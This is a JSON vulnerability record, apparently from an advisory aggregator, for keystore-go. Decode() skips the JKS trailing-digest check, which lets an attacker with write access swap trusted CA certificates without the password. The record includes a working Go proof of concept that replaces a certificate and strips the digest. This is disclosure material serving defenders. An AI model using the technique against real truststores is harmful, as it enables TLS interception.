{"id":"CVE-2026-76101","aliases":["CVE-2026-76101","GHSA-j282-pjg5-j643","GO-2026-7002"],"related":[],"kind":"vulnerability","state":"published","title":"keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode(), impacting legacy v2 versions","summary":"keystore-go is a Go implementation of the Java KeyStore encoder and decoder. In 2.1.0 and earlier, keystore.Decode in decoder.go does not check the error returned when reading the trailing SHA-1 integrity digest and bounds its comparison by the length of the digest actually read. If an attacker with write access removes the final 20-byte digest from a modified JKS file, the empty actual digest causes the comparison loop to execute zero times and Decode returns the parsed keystore without an error. For certificate-only stores using TrustedCertificateEntry values, this bypasses both tamper detection and password verification, allowing trusted CA certificates to be added or replaced without knowing the keystore password and potentially enabling interception or modification of TLS connections that trust the forged CA. This issue is fixed in version 3.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"keystore-go is a Go implementation of the Java KeyStore encoder and decoder. In 2.1.0 and earlier, keystore.Decode in decoder.go does not check the error returned when reading the trailing SHA-1 integrity digest and bounds its comparison by the length of the digest actually read. If an attacker with write access removes the final 20-byte digest from a modified JKS file, the empty actual digest causes the comparison loop to execute zero times and Decode returns the parsed keystore without an error. For certificate-only stores using TrustedCertificateEntry values, this bypasses both tamper detection and password verification, allowing trusted CA certificates to be added or replaced without knowing the keystore password and potentially enabling interception or modification of TLS connections that trust the forged CA. This issue is fixed in version 3.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.\n\n### Details\n**Affected versions:** `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path).  v3 and v4 releases are not impacted.\n\nIn `decoder.go`, function `Decode`, lines 264-272:\n\n```go\ncomputedDigest := ksd.md.Sum(nil)\nactualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))\nfor i := 0; i < len(actualDigest); i++ {\n    if actualDigest[i] != computedDigest[i] {\n        return nil, ErrInvalidDigest\n    }\n}\n\nreturn keyStore, nil\n```\n\nTwo defects combine here:\n\n1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.\n2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.\n\n`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:\n\n```go\n_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])\nif err != nil {\n    return result, ErrIo\n}\n```\n\nWhen the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.\n\nThe JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || \"Mighty Aphrodite\" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:\n\n- An attacker who can modify a `.jks` truststore on disk — but does **not** know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.\n- After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.\n\nThe reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.\n\n### PoC\n```\ngo mod init poc\ngo get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible\ngo run .\n```\n\n```go\npackage main\n\nimport (\n        \"bytes\"\n        \"fmt\"\n        \"os\"\n\n        keystore \"github.com/pavel-v-chernykh/keystore-go\"\n)\n\nfunc main() {\n        originalCert := []byte(\"ORIGINAL-TRUSTED-CA-CERTIFICATE\")\n        evilCert := []byte(\"EVIL-ATTACKER-CA-CERTIFICATE!!!\") // same length\n\n        ks := keystore.KeyStore{\n                \"trusted-ca\": &keystore.TrustedCertificateEntry{\n                        Certificate: keystore.Certificate{\n                                Type:    \"X509\",\n                                Content: originalCert,\n                        },\n                },\n        }\n\n        var buf bytes.Buffer\n        if err := keystore.Encode(&buf, ks, []byte(\"correct-password\")); err != nil {\n                panic(err)\n        }\n        legit := buf.Bytes()\n        fmt.Printf(\"[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\\n\", len(legit))\n\n        // Sanity: untampered keystore with WRONG password is rejected.\n        _, err := keystore.Decode(bytes.NewReader(legit), []byte(\"wrong-password\"))\n        fmt.Printf(\"[*] Decode(legit, wrong-password) -> err=%v  (expected ErrInvalidDigest)\\n\", err)\n\n        // Attacker: tamper with the certificate, then strip the 20-byte digest.\n        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)\n        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely\n\n        // 1) Tampered keystore + CORRECT password: integrity check should fail.\n        out, err := keystore.Decode(bytes.NewReader(tampered), []byte(\"correct-password\"))\n        if err == nil {\n                entry := out[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"\\n[BYPASS] Tampered keystore accepted with correct password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] tampered keystore rejected: %v\\n\", err)\n                os.Exit(1)\n        }\n\n        // 2) Tampered keystore + WRONG password: should also fail.\n        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte(\"attacker-does-not-know\"))\n        if err2 == nil {\n                entry := out2[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"[BYPASS] Tampered keystore accepted with WRONG password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] wrong password rejected: %v\\n\", err2)\n                os.Exit(1)\n        }\n}\n```\n\nExpected output:\n\n```\n[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)\n[*] Decode(legit, wrong-password) -> err=keystore: invalid digest  (expected ErrInvalidDigest)\n\n[BYPASS] Tampered keystore accepted with correct password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n[BYPASS] Tampered keystore accepted with WRONG password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n```\n\n### Impact\nAny application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does **not** know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.\n\nThis defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, \"Update to go1.13\"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag **v3.0.0**. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path — every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths:\n\n- `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0\n- `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0\n- `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)\n\nUsers of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.","format":"markdown","source":"ghsa"},{"lang":"en","text":"keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode() in github.com/pavel-v-chernykh/keystore-go","format":"markdown","source":"go"}],"published":"2026-11-18T21:49:15.228Z","modified":"2026-11-23T20:41:22.536Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":7.1,"rating":"HIGH"}],"cwes":["CWE-252","CWE-347","CWE-354"],"affected":[{"ranges":[{"version":"< 3.0.0","status":"affected"}],"vendor":"pavlo-v-chernykh","product":"keystore-go","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.1.0"}],"ecosystem":"Go","package":"github.com/pavel-v-chernykh/keystore-go","purl":"pkg:golang/github.com/pavel-v-chernykh/keystore-go","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.0.0"}],"ecosystem":"Go","package":"github.com/pavel-v-chernykh/keystore-go/v3","purl":"pkg:golang/github.com/pavel-v-chernykh/keystore-go/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/pavel-v-chernykh/keystore-go","purl":"pkg:golang/github.com/pavel-v-chernykh/keystore-go","source":"go"}],"references":[{"url":"https://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851","tags":["fix","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76101","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/pavlo-v-chernykh/keystore-go","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-19T19:42:06.196Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-76101","url":"https://www.cve.org/CVERecord?id=CVE-2026-76101","licence":"CVE Terms of Use","modified":"2026-11-19T19:42:23.821Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j282-pjg5-j643","url":"https://github.com/advisories/GHSA-j282-pjg5-j643","licence":"CC-BY-4.0","modified":"2026-11-23T20:41:22.536Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-7002","url":"https://pkg.go.dev/vuln/GO-2026-7002","licence":"CC-BY-4.0","modified":"2026-11-23T20:30:15.158Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-76101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76101","licence":"Public domain","modified":"2026-11-19T20:17:52.247Z"}],"updatedAt":"2026-11-25T22:59:51.927Z","epss":{"score":0.00087,"percentile":0.0034,"date":"2026-12-01T12:00:22.000Z"}}